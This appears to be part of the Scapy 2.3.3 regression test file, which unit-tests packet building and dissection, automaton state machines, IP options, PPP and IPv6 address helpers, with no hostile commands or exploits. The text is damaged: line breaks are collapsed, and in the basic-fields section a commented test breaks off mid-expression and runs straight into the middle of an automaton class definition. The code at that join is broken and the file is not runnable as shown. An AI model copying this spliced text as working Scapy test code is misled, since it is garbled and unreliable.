IPv6ExtHdrRouting(addresses=['aa::bb', 'cc::dd', 'ee::ff']) p /= TCP(sport=45012, dport=80) p /= Raw('testdata') p = IPv6(str(p)) p sa = SecurityAssociation(AH, spi=0x222, auth_algo='HMAC-SHA1-96', auth_key='secret key') e = sa.encrypt(p) e assert(e.src == '11::22' and e.dst == '22::11') * AH header should be inserted between the routing header and TCP assert(isinstance(e[AH].underlayer, IPv6ExtHdrRouting)) assert(isinstance(e[AH].payload, TCP)) * reorder the routing header as the receiver will get it final = e[IPv6ExtHdrRouting].addresses.pop() e[IPv6ExtHdrRouting].addresses.insert(0, e.dst) e.dst = final e[IPv6ExtHdrRouting].segleft = 0 * integrity verification should pass d = sa.decrypt(e) d scapy-2.3.3/test/regression.uts000066400000000000000000011322711300136037300165350ustar00rootroot00000000000000% Regression tests for Scapy # More informations at http://www.secdev.org/projects/UTscapy/ # $Id: regression.uts,v 1.9 2008/07/29 15:30:29 pbi Exp pbi $ ############ ############ + Informations on Scapy = Get conf ~ conf command * Dump the current configuration conf = List layers ~ conf command ls() = List commands ~ conf command lsc() = Configuration ~ conf conf.debug_dissector = True ############ ############ + Scapy functions tests = Interface related functions get_if_raw_hwaddr(conf.iface) get_if_raw_addr(conf.iface).encode("hex") get_if_list() = Test read_routes6() - default output routes6 = read_routes6() # Expected results: # - one route if there is only the loopback interface # - three routes if there is a network interface if len(routes6): iflist = get_if_list() if iflist == [LOOPBACK_NAME]: len(routes6) == 1 elif len(iflist) >= 2: len(routes6) >= 3 else: False else: # IPv6 seems disabled. Force a route to ::1 conf.route6.routes.append(("::1", 128, "::", LOOPBACK_NAME, ["::1"])) True = Test read_routes6() - check mandatory routes if len(routes6): assert(len(filter(lambda r: r[0] == "::1" and r[-1] == ["::1"], routes6)) >= 1) if iflist >= 2: assert(len(filter(lambda r: r[0] == "fe80::" and r[1] == 64, routes6)) >= 1) len(filter(lambda r: in6_islladdr(r[0]) and r[1] == 128 and r[-1] == ["::1"], routes6)) >= 1 else: True ############ ############ + Basic tests * Those test are here mainly to check nothing has been broken * and to catch Exceptions = Building some packets packet ~ basic IP TCP UDP NTP LLC SNAP Dot11 IP()/TCP() Ether()/IP()/UDP()/NTP() Dot11()/LLC()/SNAP()/IP()/TCP()/"XXX" IP(ttl=25)/TCP(sport=12, dport=42) = Manipulating some packets ~ basic IP TCP a=IP(ttl=4)/TCP() a.ttl a.ttl=10 del(a.ttl) a.ttl TCP in a a[TCP] a[TCP].dport=[80,443] a assert(a.copy().time == a.time) a=3 = Checking overloads ~ basic IP TCP Ether a=Ether()/IP()/TCP() a.proto _ == 6 = sprintf() function ~ basic sprintf Ether IP UDP NTP a=Ether()/IP()/IP(ttl=4)/UDP()/NTP() a.sprintf("%type% %IP.ttl% %#05xr,UDP.sport% %IP:2.ttl%") _ in [ '0x800 64 0x07b 4', 'IPv4 64 0x07b 4'] = sprintf() function ~ basic sprintf IP TCP SNAP LLC Dot11 * This test is on the conditionnal substring feature of sprintf() a=Dot11()/LLC()/SNAP()/IP()/TCP() a.sprintf("{IP:{TCP:flags=%TCP.flags%}{UDP:port=%UDP.ports%} %IP.src%}") _ == 'flags=S 127.0.0.1' = haslayer function ~ basic haslayer IP TCP ICMP ISAKMP x=IP(id=1)/ISAKMP_payload_SA(prop=ISAKMP_payload_SA(prop=IP()/ICMP()))/TCP() TCP in x, ICMP in x, IP in x, UDP in x _ == (True,True,True,False) = getlayer function ~ basic getlayer IP ISAKMP UDP x=IP(id=1)/ISAKMP_payload_SA(prop=IP(id=2)/UDP(dport=1))/IP(id=3)/UDP(dport=2) x[IP] x[IP:2] x[IP:3] x.getlayer(IP,3) x.getlayer(IP,4) x[UDP] x[UDP:1] x[UDP:2] assert(x[IP].id == 1 and x[IP:2].id == 2 and x[IP:3].id == 3 and x.getlayer(IP).id == 1 and x.getlayer(IP,3).id == 3 and x.getlayer(IP,4) == None and x[UDP].dport == 1 and x[UDP:2].dport == 2) try: x[IP:4] except IndexError: True else: False = equality ~ basic w=Ether()/IP()/UDP(dport=53) x=Ether()/IP(version=4)/UDP() y=Ether()/IP()/UDP(dport=4) z=Ether()/IP()/UDP()/NTP() t=Ether()/IP()/TCP() x==y, x==z, x==t, y==z, y==t, z==t, w==x _ == (False, False, False, False, False, False, True) ############ ############ + Tests on padding = Padding assembly str(Padding("abc")) assert( _ == "abc" ) str(Padding("abc")/Padding("def")) assert( _ == "abcdef" ) str(Raw("ABC")/Padding("abc")/Padding("def")) assert( _ == "ABCabcdef" ) str(Raw("ABC")/Padding("abc")/Raw("DEF")/Padding("def")) assert( _ == "ABCDEFabcdef" ) = Padding and length computation IP(str(IP()/Padding("abc"))) assert( _.len == 20 and len(_) == 23 ) IP(str(IP()/Raw("ABC")/Padding("abc"))) assert( _.len == 23 and len(_) == 26 ) IP(str(IP()/Raw("ABC")/Padding("abc")/Padding("def"))) assert( _.len == 23 and len(_) == 29 ) = PadField test ~ PadField padding class TestPad(Packet): fields_desc = [ PadField(StrNullField("st", ""),4), StrField("id", "")] TestPad() == TestPad(str(TestPad())) ############ ############ + Tests on basic fields #= Field class #~ core field #Field("foo", None, fmt="H").i2m(None,0xabcdef) #assert( _ == "\xcd\xef" ) #Field("foo", None, fmt=" 20: raise self.END(s).action_parameters(s) @ATMT.condition(MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"a") @ATMT.condition(MAIN) def trB(self, s): if s.endswith("a"): raise self.MAIN(s*2+"b") @ATMT.state(final=1) def END(self, s): return s @ATMT.action(go_to_END) def action_test(self, s): self.result = s = Simple automaton Tests ~ automaton a=ATMT1(init="a", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'aabaaababaaabaaababab' ) a.result assert( _ == 'aabaaababaaabaaababab' ) a=ATMT1(init="b", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'babababababababababababababab' ) a.result assert( _ == 'babababababababababababababab' ) = Simple automaton stuck test ~ automaton try: ATMT1(init="", ll=lambda: None, recvsock=lambda: None).run() except Automaton.Stuck: True else: False = Automaton state overloading ~ automaton class ATMT2(ATMT1): @ATMT.state() def MAIN(self, s): return "c"+ATMT1.MAIN(self, s).run() a=ATMT2(init="a", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a.result assert( _ == 'ccccccacabacccacababacccccacabacccacababab' ) a=ATMT2(init="b", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'cccccbaccbabaccccbaccbabab') a.result assert( _ == 'cccccbaccbabaccccbaccbabab') = Automaton condition overloading ~ automaton class ATMT3(ATMT2): @ATMT.condition(ATMT1.MAIN) def trA(self, s): if s.endswith("b"): raise self.MAIN(s+"da") a=ATMT3(init="a", debug=2, ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'cccccacabdacccacabdabda') a=ATMT3(init="b", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) = Automaton action overloading ~ automaton class ATMT4(ATMT3): @ATMT.action(ATMT1.go_to_END) def action_test(self, s): self.result = "e"+s+"e" a=ATMT4(init="a", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'cccccacabdacccacabdabda') a.result assert( _ == 'ecccccacabdacccacabdabdae') a=ATMT4(init="b", ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'cccccbdaccbdabdaccccbdaccbdabdab' ) a.result assert( _ == 'ecccccbdaccbdabdaccccbdaccbdabdabe' ) = Automaton priorities ~ automaton class ATMT5(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "J" @ATMT.condition(BEGIN, prio=1) def tr1(self): self.res += "i" raise self.END() @ATMT.condition(BEGIN) def tr2(self): self.res += "p" @ATMT.condition(BEGIN, prio=-1) def tr3(self): self.res += "u" @ATMT.action(tr1) def ac1(self): self.res += "e" @ATMT.action(tr1, prio=-1) def ac2(self): self.res += "t" @ATMT.action(tr1, prio=1) def ac3(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT5(ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'Jupiter' ) = Automaton test same action for many conditions ~ automaton class ATMT6(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res="M" @ATMT.condition(BEGIN) def tr1(self): raise self.MIDDLE() @ATMT.action(tr1) # default prio=0 def add_e(self): self.res += "e" @ATMT.action(tr1, prio=2) def add_c(self): self.res += "c" @ATMT.state() def MIDDLE(self): self.res += "u" @ATMT.condition(MIDDLE) def tr2(self): raise self.END() @ATMT.action(tr2, prio=2) def add_y(self): self.res += "y" @ATMT.action(tr1, prio=1) @ATMT.action(tr2) def add_r(self): self.res += "r" @ATMT.state(final=1) def END(self): return self.res a=ATMT6(ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == 'Mercury' ) a.restart() a.run() assert( _ == 'Mercury' ) = Automaton test io event ~ automaton class ATMT7(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "S" @ATMT.ioevent(BEGIN, name="tst") def tr1(self, fd): self.res += fd.recv() raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): self.oi.tst.send("ur") @ATMT.ioevent(NEXT_STATE, name="tst") def tr2(self, fd): self.res += fd.recv() raise self.END() @ATMT.state(final=1) def END(self): self.res += "n" return self.res a=ATMT7(ll=lambda: None, recvsock=lambda: None) a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) a.restart() a.run(wait=False) a.io.tst.send("at") a.io.tst.recv() a.io.tst.send(_) a.run() assert( _ == "Saturn" ) = Automaton test io event from external fd ~ automaton import os class ATMT8(Automaton): @ATMT.state(initial=1) def BEGIN(self): self.res = "U" @ATMT.ioevent(BEGIN, name="extfd") def tr1(self, fd): self.res += fd.read(2) raise self.NEXT_STATE() @ATMT.state() def NEXT_STATE(self): pass @ATMT.ioevent(NEXT_STATE, name="extfd") def tr2(self, fd): self.res += fd.read(2) raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res r,w = os.pipe() a=ATMT8(external_fd={"extfd":r}, ll=lambda: None, recvsock=lambda: None) a.run(wait=False) os.write(w,"ra") os.write(w,"nu") a.run() assert( _ == "Uranus" ) a.restart() a.run(wait=False) os.write(w,"ra") os.write(w,"nu") a.run() assert( _ == "Uranus" ) = Automaton test interception_points, and restart ~ automaton class ATMT9(Automaton): def my_send(self, x): self.io.loop.send(x) @ATMT.state(initial=1) def BEGIN(self): self.res = "V" self.send(Raw("ENU")) @ATMT.ioevent(BEGIN, name="loop") def received_sth(self, fd): self.res += fd.recv().load raise self.END() @ATMT.state(final=1) def END(self): self.res += "s" return self.res a=ATMT9(debug=5, ll=lambda: None, recvsock=lambda: None) a.run() assert( _ == "VENUs" ) a.restart() a.run() assert( _ == "VENUs" ) a.restart() a.BEGIN.intercepts() while True: try: x = a.run() except Automaton.InterceptionPoint,p: a.accept_packet(Raw(p.packet.load.lower()), wait=False) else: break x assert( _ == "Venus" ) + Test IP options = IP options individual assembly ~ IP options str(IPOption()) assert(_ == '\x00\x02') str(IPOption_NOP()) assert(_ == '\x01') str(IPOption_EOL()) assert(_ == '\x00') str(IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"])) assert(_ == '\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08') = IP options individual dissection ~ IP options IPOption("\x00") assert(_.option == 0 and isinstance(_, IPOption_EOL)) IPOption("\x01") assert(_.option == 1 and isinstance(_, IPOption_NOP)) lsrr='\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08' p=IPOption_LSRR(lsrr) p q=IPOption(lsrr) q assert(p == q) = IP assembly and dissection with options ~ IP options p = IP(src="9.10.11.12",dst="13.14.15.16",options=IPOption_SDBM(addresses=["1.2.3.4","5.6.7.8"]))/TCP() str(p) assert(_ == 'H\x00\x004\x00\x01\x00\x00@\x06\xa2q\t\n\x0b\x0c\r\x0e\x0f\x10\x95\n\x01\x02\x03\x04\x05\x06\x07\x08\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') q=IP(_) q assert( isinstance(q.options[0],IPOption_SDBM) ) assert( q[IPOption_SDBM].addresses[1] == "5.6.7.8" ) p.options[0].addresses[0] = '5.6.7.8' assert( IP(str(p)).options[0].addresses[0] == '5.6.7.8' ) IP(src="9.10.11.12", dst="13.14.15.16", options=[IPOption_NOP(),IPOption_LSRR(routers=["1.2.3.4","5.6.7.8"]),IPOption_Security(transmission_control_code="XYZ")])/TCP() str(_) assert(_ == 'K\x00\x00@\x00\x01\x00\x00@\x06\xf3\x83\t\n\x0b\x0c\r\x0e\x0f\x10\x01\x83\x0b\x04\x01\x02\x03\x04\x05\x06\x07\x08\x82\x0b\x00\x00\x00\x00\x00\x00XYZ\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00_K\x00\x00') IP(_) q=_ assert(q[IPOption_LSRR].get_current_router() == "1.2.3.4") assert(q[IPOption_Security].transmission_control_code == "XYZ") assert(q[TCP].flags == 2) + Test PPP = PPP/HDLC ~ ppp hdlc HDLC()/PPP()/PPP_IPCP() str(_) s=_ assert(s == '\xff\x03\x80!\x01\x00\x00\x04') PPP(s) p=_ assert(HDLC in p) assert(p[HDLC].control==3) assert(p[PPP].proto==0x8021) PPP(s[2:]) q=_ assert(HDLC not in q) assert(q[PPP].proto==0x8021) = PPP IPCP ~ ppp ipcp PPP('\x80!\x01\x01\x00\x10\x03\x06\xc0\xa8\x01\x01\x02\x06\x00-\x0f\x01') p=_ assert(p[PPP_IPCP].code == 1) assert(p[PPP_IPCP_Option_IPAddress].data=="192.168.1.1") assert(p[PPP_IPCP_Option].data == '\x00-\x0f\x01') p=PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) str(p) assert(_ == '\x80!\x01\x00\x00\x16\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert(str(p) == str(q)) assert(PPP(str(q))==q) PPP()/PPP_IPCP(options=[PPP_IPCP_Option_DNS1(data="1.2.3.4"),PPP_IPCP_Option_DNS2(data="5.6.7.8"),PPP_IPCP_Option(type=123,data="ABCDEFG"),PPP_IPCP_Option_NBNS2(data="9.10.11.12")]) p=_ str(p) assert(_ == '\x80!\x01\x00\x00\x1f\x81\x06\x01\x02\x03\x04\x83\x06\x05\x06\x07\x08{\tABCDEFG\x84\x06\t\n\x0b\x0c') PPP(_) q=_ assert( q[PPP_IPCP_Option].type == 123 ) assert( q[PPP_IPCP_Option].data == 'ABCDEFG' ) assert( q[PPP_IPCP_Option_NBNS2].data == '9.10.11.12' ) = PPP ECP ~ ppp ecp PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ")]) p=_ str(p) assert(_ == '\x80S\x01\x00\x00\n\x00\x06XYZ\x00') PPP(_) q=_ assert( str(p)==str(q) ) PPP()/PPP_ECP(options=[PPP_ECP_Option_OUI(oui="XYZ"),PPP_ECP_Option(type=1,data="ABCDEFG")]) p=_ str(p) assert(_ == '\x80S\x01\x00\x00\x13\x00\x06XYZ\x00\x01\tABCDEFG') PPP(_) q=_ assert( str(p) == str(q) ) assert( q[PPP_ECP_Option].data == "ABCDEFG" ) # Scapy6 Regression Test Campaign ########### IPv6 Class ############################################## + Test IPv6 Class = IPv6 Class basic Instantiation a=IPv6() = IPv6 Class basic build (default values) str(IPv6()) == '`\x00\x00\x00\x00\x00;@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01' = IPv6 Class basic dissection (default values) a=IPv6(str(IPv6())) a.version == 6 and a.tc == 0 and a.fl == 0 and a.plen == 0 and a.nh == 59 and a.hlim ==64 and a.src == "::1" and a.dst == "::1" = IPv6 Class with basic TCP stacked - build str(IPv6()/TCP()) == '`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class with basic TCP stacked - dissection a=IPv6(str(IPv6()/TCP())) a.nh == 6 and a.plen == 20 and isinstance(a.payload, TCP) and a.payload.chksum == 0x8f7d = IPv6 Class with TCP and TCP data - build str(IPv6()/TCP()/Raw(load="somedata")) == '`\x00\x00\x00\x00\x1c\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xd5\xdd\x00\x00somedata' = IPv6 Class with TCP and TCP data - dissection a=IPv6(str(IPv6()/TCP()/Raw(load="somedata"))) a.nh == 6 and a.plen == 28 and isinstance(a.payload, TCP) and a.payload.chksum == 0xd5dd and isinstance(a.payload.payload, Raw) and a[Raw].load == "somedata" = IPv6 Class binding with Ethernet - build str(Ether(src="00:00:00:00:00:00", dst="ff:ff:ff:ff:ff:ff")/IPv6()/TCP()) == '\xff\xff\xff\xff\xff\xff\x00\x00\x00\x00\x00\x00\x86\xdd`\x00\x00\x00\x00\x14\x06@\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x8f}\x00\x00' = IPv6 Class binding with Ethernet - dissection a=Ether(str(Ether()/IPv6()/TCP())) a.type == 0x86dd ########### IPv6ExtHdrRouting Class ########################### = IPv6ExtHdrRouting Class - No address - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=[])/TCP(dport=80)) =='`\x00\x00\x00\x00\x1c+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x00\x00\x00\x00\x00\x00\x00\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' = IPv6ExtHdrRouting Class - One address - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2022::deca"])/TCP(dport=80)) == '`\x00\x00\x00\x00,+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x02\x00\x01\x00\x00\x00\x00 "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Multiple Addresses - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"])/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x02\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->1) - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=1)/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x01\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\x91\x7f\x00\x00' = IPv6ExtHdrRouting Class - Specific segleft (2->0) - build str(IPv6(src="2048::deca", dst="2047::cafe")/IPv6ExtHdrRouting(addresses=["2001::deca", "2022::deca"], segleft=0)/TCP(dport=80)) == '`\x00\x00\x00\x00<+@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca G\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xca\xfe\x06\x04\x00\x00\x00\x00\x00\x00 \x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca "\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca\x00\x14\x00P\x00\x00\x00\x00\x00\x00\x00\x00P\x02 \x00\xa5&\x00\x00' ########### in6_get6to4Prefix() ##################################### + Test in6_get6to4Prefix() = Test in6_get6to4Prefix() - 0.0.0.0 address in6_get6to4Prefix("0.0.0.0") == "2002::" = Test in6_get6to4Prefix() - 255.255.255.255 address in6_get6to4Prefix("255.255.255.255") == "2002:ffff:ffff::" = Test in6_get6to4Prefix() - 1.1.1.1 address in6_get6to4Prefix("1.1.1.1") == "2002:101:101::" = Test in6_get6to4Prefix() - invalid address in6_get6to4Prefix("somebadstring") is None ########### in6_get6to4Prefix() ##################################### + Test in6_6to4ExtractAddr() = Test in6_6to4ExtractAddr() - 2002:: address in6_6to4ExtractAddr("2002::") == "0.0.0.0" = Test in6_6to4ExtractAddr() - 255.255.255.255 address in6_6to4ExtractAddr("2002:ffff:ffff::") == "255.255.255.255" = Test in6_6to4ExtractAddr() - "2002:101:101::" address in6_6to4ExtractAddr("2002:101:101::") == "1.1.1.1" = Test in6_6to4ExtractAddr() - invalid address in6_6to4ExtractAddr("somebadstring") is None ########### RFC 4489 - Link-Scoped IPv6 Multicast address ########### = in6_getLinkScopedMcastAddr() : default generation a = in6_getLinkScopedMcastAddr(addr="FE80::") a == 'ff32:ff::' = in6_getLinkScopedMcastAddr() : different valid scope values a = in6_getLinkScopedMcastAddr(addr="FE80::", scope=0) b = in6_getLinkScopedMcastAddr(addr="FE80::", scope=1) c = in6_getLinkScopedMcastAddr(addr="FE80::", scope=2) d = in6_getLinkScopedMcastAddr(addr="FE80::", scope=3) a == 'ff30:ff::' and b == 'ff31:ff::' and c == 'ff32:ff::' and d is None = in6_getLinkScopedMcastAddr() : grpid in different formats a = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="\x12\x34\x56\x78") b = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid="12345678") c = in6_getLinkScopedMcastAddr(addr="FE80::A12:34FF:FE56:7890", grpid=305419896) a == b and b == c ########### ethernet address to iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 2) in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 3) in6_mactoifaceid("FD:00:00:00:00:00") == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 4) in6_mactoifaceid("FF:00:00:00:00:00") == 'FD00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 5) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1) == 'FF00:00FF:FE00:0000' = in6_mactoifaceid() conversion function (test 6) in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0) == 'FD00:00FF:FE00:0000' ########### iface ID conversion ################# = in6_mactoifaceid() conversion function (test 1) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 2) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 3) in6_ifaceidtomac(in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 4) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 5) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_mactoifaceid() conversion function (test 6) in6_ifaceidtomac(in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 1) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 2) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 3) in6_addrtomac("FE80::" + in6_mactoifaceid("FD:00:00:00:00:00")) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 4) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00")) == 'ff:00:00:00:00:00' = in6_addrtomac() conversion function (test 5) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=1)) == 'fd:00:00:00:00:00' = in6_addrtomac() conversion function (test 6) in6_addrtomac("FE80::" + in6_mactoifaceid("FF:00:00:00:00:00", ulbit=0)) == 'ff:00:00:00:00:00' ########### RFC 3041 related function ############################### = Test in6_getRandomizedIfaceId import socket res=True for _ in xrange(10): s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3') inet_pton(socket.AF_INET6, '::'+s1) tmp2 = inet_pton(socket.AF_INET6, '::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) s1,s2 = in6_getRandomizedIfaceId('20b:93ff:feeb:2d3', previous=tmp2) tmp = inet_pton(socket.AF_INET6, '::'+s1) inet_pton(socket.AF_INET6, '::'+s2) res = res and ((ord(s1[0]) & 0x04) == 0x04) ########### RFC 1924 related function ############################### = Test RFC 1924 function - in6_ctop() basic test in6_ctop("4)+k&C#VzJ4br>0wv%Yp") == '1080::8:800:200c:417a' = Test RFC 1924 function - in6_ctop() with character outside charset in6_ctop("4)+k&C#VzJ4br>0wv%Y'") == None = Test RFC 1924 function - in6_ctop() with bad length address in6_ctop("4)+k&C#VzJ4br>0wv%Y") == None = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() basic test in6_ptoc('1080::8:800:200c:417a') == '4)+k&C#VzJ4br>0wv%Yp' = Test RFC 1924 function - in6_ptoc() with bad input in6_ptoc('1080:::8:800:200c:417a') == None ########### in6_getAddrType ######################################### = in6_getAddrType - 6to4 addresses in6_getAddrType("2002::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL | IPV6_ADDR_6TO4) = in6_getAddrType - Assignable Unicast global address in6_getAddrType("2001:db8::1") == (IPV6_ADDR_UNICAST | IPV6_ADDR_GLOBAL) = in6_getAddrType - Multicast global address in6_getAddrType("FF0E::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Multicast local address in6_getAddrType("FF02::1") == (IPV6_ADDR_LINKLOCAL | IPV6_ADDR_MULTICAST) = in6_getAddrType - Unicast Link-Local address in6_getAddrType("FE80::") == (IPV6_ADDR_UNICAST | IPV6_ADDR_LINKLOCAL) = in6_getAddrType - Loopback address in6_getAddrType("::1") == IPV6_ADDR_LOOPBACK = in6_getAddrType - Unspecified address in6_getAddrType("::") == IPV6_ADDR_UNSPECIFIED = in6_getAddrType - Unassigned Global Unicast address in6_getAddrType("4000::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE::1) in6_getAddrType("FE::") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (FE8::1) in6_getAddrType("FE8::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1::1) in6_getAddrType("1::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) = in6_getAddrType - Weird address (1000::1) in6_getAddrType("1000::1") == (IPV6_ADDR_GLOBAL | IPV6_ADDR_UNICAST) ########### ICMPv6DestUnreach Class ################################# = ICMPv6DestUnreach Class - Basic Build (no argument) str(ICMPv6DestUnreach()) == '\x01\x00\x00\x00\x00\x00\x00\x00' = ICMPv6DestUnreach Class - Basic Build over IPv6 (for cksum and overload) str(IPv6(src="2048::deca", dst="2047::cafe")/ICMPv6DestUnreach()) == '`\x00\x00\x00\x00\x08:@ H\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xde\xca 